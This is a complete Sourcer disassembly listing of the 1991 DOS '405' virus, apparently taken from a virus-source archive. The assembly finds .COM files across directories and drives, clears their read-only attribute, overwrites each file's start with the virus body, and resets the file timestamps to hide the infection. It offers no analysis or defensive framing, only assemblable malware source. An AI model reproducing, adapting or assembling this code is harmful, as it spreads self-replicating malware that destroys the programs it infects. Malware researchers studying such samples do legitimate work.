home *** CD-ROM | disk | FTP | other *** search
- 405.lst Sourcer Listing v2.24 22-Jun-91 7:31 pm Page 1
-
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ 405 ██
- ;██ ██
- ;██ Created: 9-Feb-91 ██
- ;██ Version: ██
- ;██ Passes: 5 Analysis Options on: HQRS ██
- ;██ ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- = 0295 data_6e equ 295h ; (733F:0295=0)
- = E000 data_7e equ 0E000h ; (733F:E000=0)
- = E195 data_9e equ 0E195h ; (733F:E195=0)
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- 405 proc far
-
- 733F:0100 start:
- 733F:0100 96 xchg ax,si
- 733F:0101 00 00 add [bx+si],al
- 733F:0103 9E sahf ; Store ah into flags
- 733F:0104 00 00 add [bx+si],al
- 733F:0106 90 nop
- 733F:0107 B8 0000 mov ax,0
- 733F:010A 26: A2 0249 mov es:data_1,al ; (733F:0249=2)
- 733F:010E 26: A2 024B mov es:data_3,al ; (733F:024B=54h)
- 733F:0112 26: A2 028B mov es:data_5,al ; (733F:028B=0Dh)
- 733F:0116 50 push ax
- 733F:0117 B4 19 mov ah,19h
- 733F:0119 CD 21 int 21h ; DOS Services ah=function 19h
- ; get default drive al (0=a:)
- 733F:011B 26: A2 0249 mov es:data_1,al ; (733F:0249=2)
- 733F:011F B4 47 mov ah,47h ; 'G'
- 733F:0121 04 01 add al,1
- 733F:0123 50 push ax
- 733F:0124 8A D0 mov dl,al
- 733F:0126 8D 36 024B lea si,cs:[24Bh] ; Load effective addr
- 733F:012A CD 21 int 21h ; DOS Services ah=function 47h
- ; get present dir,drive dl,1=a:
- 733F:012C 58 pop ax
- 733F:012D B4 0E mov ah,0Eh
- 733F:012F 2C 01 sub al,1
- 733F:0131 8A D0 mov dl,al
- 733F:0133 CD 21 int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- 733F:0135 26: A2 028B mov es:data_5,al ; (733F:028B=0Dh)
- 733F:0139 loc_1: ; xref 733F:019C
- 733F:0139 26: A0 0249 mov al,es:data_1 ; (733F:0249=2)
- 405.lst Sourcer Listing v2.24 22-Jun-91 7:31 pm Page 2
-
- 733F:013D 3C 00 cmp al,0
- 733F:013F 75 11 jne loc_2 ; Jump if not equal
- 733F:0141 B4 0E mov ah,0Eh
- 733F:0143 B2 02 mov dl,2
- 733F:0145 CD 21 int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- 733F:0147 B4 19 mov ah,19h
- 733F:0149 CD 21 int 21h ; DOS Services ah=function 19h
- ; get default drive al (0=a:)
- 733F:014B 26: A2 024A mov es:data_2,al ; (733F:024A=0)
- 733F:014F EB 28 jmp short loc_4 ; (0179)
- 733F:0151 90 db 90h
- 733F:0152 loc_2: ; xref 733F:013F
- 733F:0152 3C 01 cmp al,1
- 733F:0154 75 11 jne loc_3 ; Jump if not equal
- 733F:0156 B4 0E mov ah,0Eh
- 733F:0158 B2 02 mov dl,2
- 733F:015A CD 21 int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- 733F:015C B4 19 mov ah,19h
- 733F:015E CD 21 int 21h ; DOS Services ah=function 19h
- ; get default drive al (0=a:)
- 733F:0160 26: A2 024A mov es:data_2,al ; (733F:024A=0)
- 733F:0164 EB 13 jmp short loc_4 ; (0179)
- 733F:0166 90 db 90h
- 733F:0167 loc_3: ; xref 733F:0154
- 733F:0167 3C 02 cmp al,2
- 733F:0169 75 0E jne loc_4 ; Jump if not equal
- 733F:016B B4 0E mov ah,0Eh
- 733F:016D B2 00 mov dl,0
- 733F:016F CD 21 int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- 733F:0171 B4 19 mov ah,19h
- 733F:0173 CD 21 int 21h ; DOS Services ah=function 19h
- ; get default drive al (0=a:)
- 733F:0175 26: A2 024A mov es:data_2,al ; (733F:024A=0)
- 733F:0179 loc_4: ; xref 733F:014F, 0164, 0169, 019E
- 733F:0179 B4 4E mov ah,4Eh ; 'N'
- 733F:017B B9 0001 mov cx,1
- 733F:017E 8D 16 028C lea dx,cs:[28Ch] ; Load effective addr
- 733F:0182 CD 21 int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- 733F:0184 72 03 jc loc_5 ; Jump if carry Set
- 733F:0186 EB 21 jmp short loc_7 ; (01A9)
- 733F:0188 90 db 90h
- 733F:0189 loc_5: ; xref 733F:0184, 01A4
- 733F:0189 B4 3B mov ah,3Bh ; ';'
- 733F:018B 8D 16 0297 lea dx,cs:[297h] ; Load effective addr
- 733F:018F CD 21 int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- 733F:0191 B4 4E mov ah,4Eh ; 'N'
- 733F:0193 B9 0011 mov cx,11h
- 733F:0196 8D 16 0292 lea dx,cs:[292h] ; Load effective addr
- 733F:019A CD 21 int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- 733F:019C 72 9B jc loc_1 ; Jump if carry Set
- 733F:019E EB D9 jmp short loc_4 ; (0179)
- 405.lst Sourcer Listing v2.24 22-Jun-91 7:31 pm Page 3
-
- 733F:01A0 loc_6: ; xref 733F:01CD
- 733F:01A0 B4 4F mov ah,4Fh ; 'O'
- 733F:01A2 CD 21 int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- 733F:01A4 72 E3 jc loc_5 ; Jump if carry Set
- 733F:01A6 EB 01 jmp short loc_7 ; (01A9)
- 733F:01A8 90 db 90h
- 733F:01A9 loc_7: ; xref 733F:0186, 01A6
- 733F:01A9 B4 3D mov ah,3Dh ; '='
- 733F:01AB B0 02 mov al,2
- 733F:01AD BA 009E mov dx,9Eh
- 733F:01B0 CD 21 int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- 733F:01B2 8B D8 mov bx,ax
- 733F:01B4 B4 3F mov ah,3Fh ; '?'
- 733F:01B6 B9 0195 mov cx,195h
- 733F:01B9 90 nop
- 733F:01BA BA E000 mov dx,0E000h
- 733F:01BD 90 nop
- 733F:01BE CD 21 int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- 733F:01C0 B4 3E mov ah,3Eh ; '>'
- 733F:01C2 CD 21 int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- 733F:01C4 26: 8B 1E E000 mov bx,es:data_7e ; (733F:E000=0)
- 733F:01C9 81 FB 9600 cmp bx,9600h
- 733F:01CD 74 D1 je loc_6 ; Jump if equal
- 733F:01CF B4 43 mov ah,43h ; 'C'
- 733F:01D1 B0 00 mov al,0
- 733F:01D3 BA 009E mov dx,9Eh
- 733F:01D6 CD 21 int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- 733F:01D8 B4 43 mov ah,43h ; 'C'
- 733F:01DA B0 01 mov al,1
- 733F:01DC 81 E1 00FE and cx,0FEh
- 733F:01E0 CD 21 int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- 733F:01E2 B4 3D mov ah,3Dh ; '='
- 733F:01E4 B0 02 mov al,2
- 733F:01E6 BA 009E mov dx,9Eh
- 733F:01E9 CD 21 int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- 733F:01EB 8B D8 mov bx,ax
- 733F:01ED B4 57 mov ah,57h ; 'W'
- 733F:01EF B0 00 mov al,0
- 733F:01F1 CD 21 int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- 733F:01F3 51 push cx
- 733F:01F4 52 push dx
- 733F:01F5 2E: 8B 16 0295 mov dx,cs:data_6e ; (733F:0295=0)
- 733F:01FA 2E: 89 16 E195 mov cs:data_9e,dx ; (733F:E195=0)
- 733F:01FF 2E: 8B 16 E001 mov dx,word ptr cs:data_7e+1 ; (733F:E001=0)
- 733F:0204 8D 0E 0194 lea cx,cs:[194h] ; Load effective addr
- 733F:0208 2B D1 sub dx,cx
- 733F:020A 2E: 89 16 0295 mov cs:data_6e,dx ; (733F:0295=0)
- 733F:020F B4 40 mov ah,40h ; '@'
- 733F:0211 B9 0195 mov cx,195h
- 405.lst Sourcer Listing v2.24 22-Jun-91 7:31 pm Page 4
-
- 733F:0214 90 nop
- 733F:0215 8D 16 0100 lea dx,cs:[100h] ; Load effective addr
- 733F:0219 CD 21 int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- 733F:021B B4 57 mov ah,57h ; 'W'
- 733F:021D B0 01 mov al,1
- 733F:021F 5A pop dx
- 733F:0220 59 pop cx
- 733F:0221 CD 21 int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- 733F:0223 B4 3E mov ah,3Eh ; '>'
- 733F:0225 CD 21 int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- 733F:0227 2E: 8B 16 E195 mov dx,cs:data_9e ; (733F:E195=0)
- 733F:022C 2E: 89 16 0295 mov cs:data_6e,dx ; (733F:0295=0)
- 733F:0231 EB 01 jmp short $+3h ; delay for I/O
- 733F:0233 90 nop
- 733F:0234 B4 0E mov ah,0Eh
- 733F:0236 2E: 8A 16 0249 mov dl,cs:data_1 ; (733F:0249=2)
- 733F:023B CD 21 int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- 733F:023D B4 3B mov ah,3Bh ; ';'
- 733F:023F 8D 16 024A lea dx,cs:[24Ah] ; Load effective addr
- 733F:0243 CD 21 int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- 733F:0245 B4 00 mov ah,0
- 733F:0247 CD 21 int 21h ; DOS Services ah=function 00h
- ; terminate, cs=progm seg prefx
- 733F:0249 02 data_1 db 2 ; xref 733F:010B, 011C, 013A, 0237
- 733F:024A 00 data_2 db 0 ; xref 733F:014C, 0161, 0176
- 733F:024B 54 data_3 db 54h ; xref 733F:010F
- 733F:024C 45 53 54 db 45h, 53h, 54h
- 733F:024F 003C[00] db 60 dup (0)
- 733F:028B 0D data_5 db 0Dh ; xref 733F:0113, 0136
- 733F:028C 2A 2E 43 4F 4D 00 db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
- 733F:0292 2A 00 E9 db 2Ah, 0, 0E9h
-
- 405 endp
-
- seg_a ends
-
-
-
- end start
- 405.lst Sourcer Listing v2.24 22-Jun-91 7:31 pm Page 5
-
-
- ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
-
- seg:off type label
- ---- ---- ---- ---------------
- 733F:0100 far start
-
-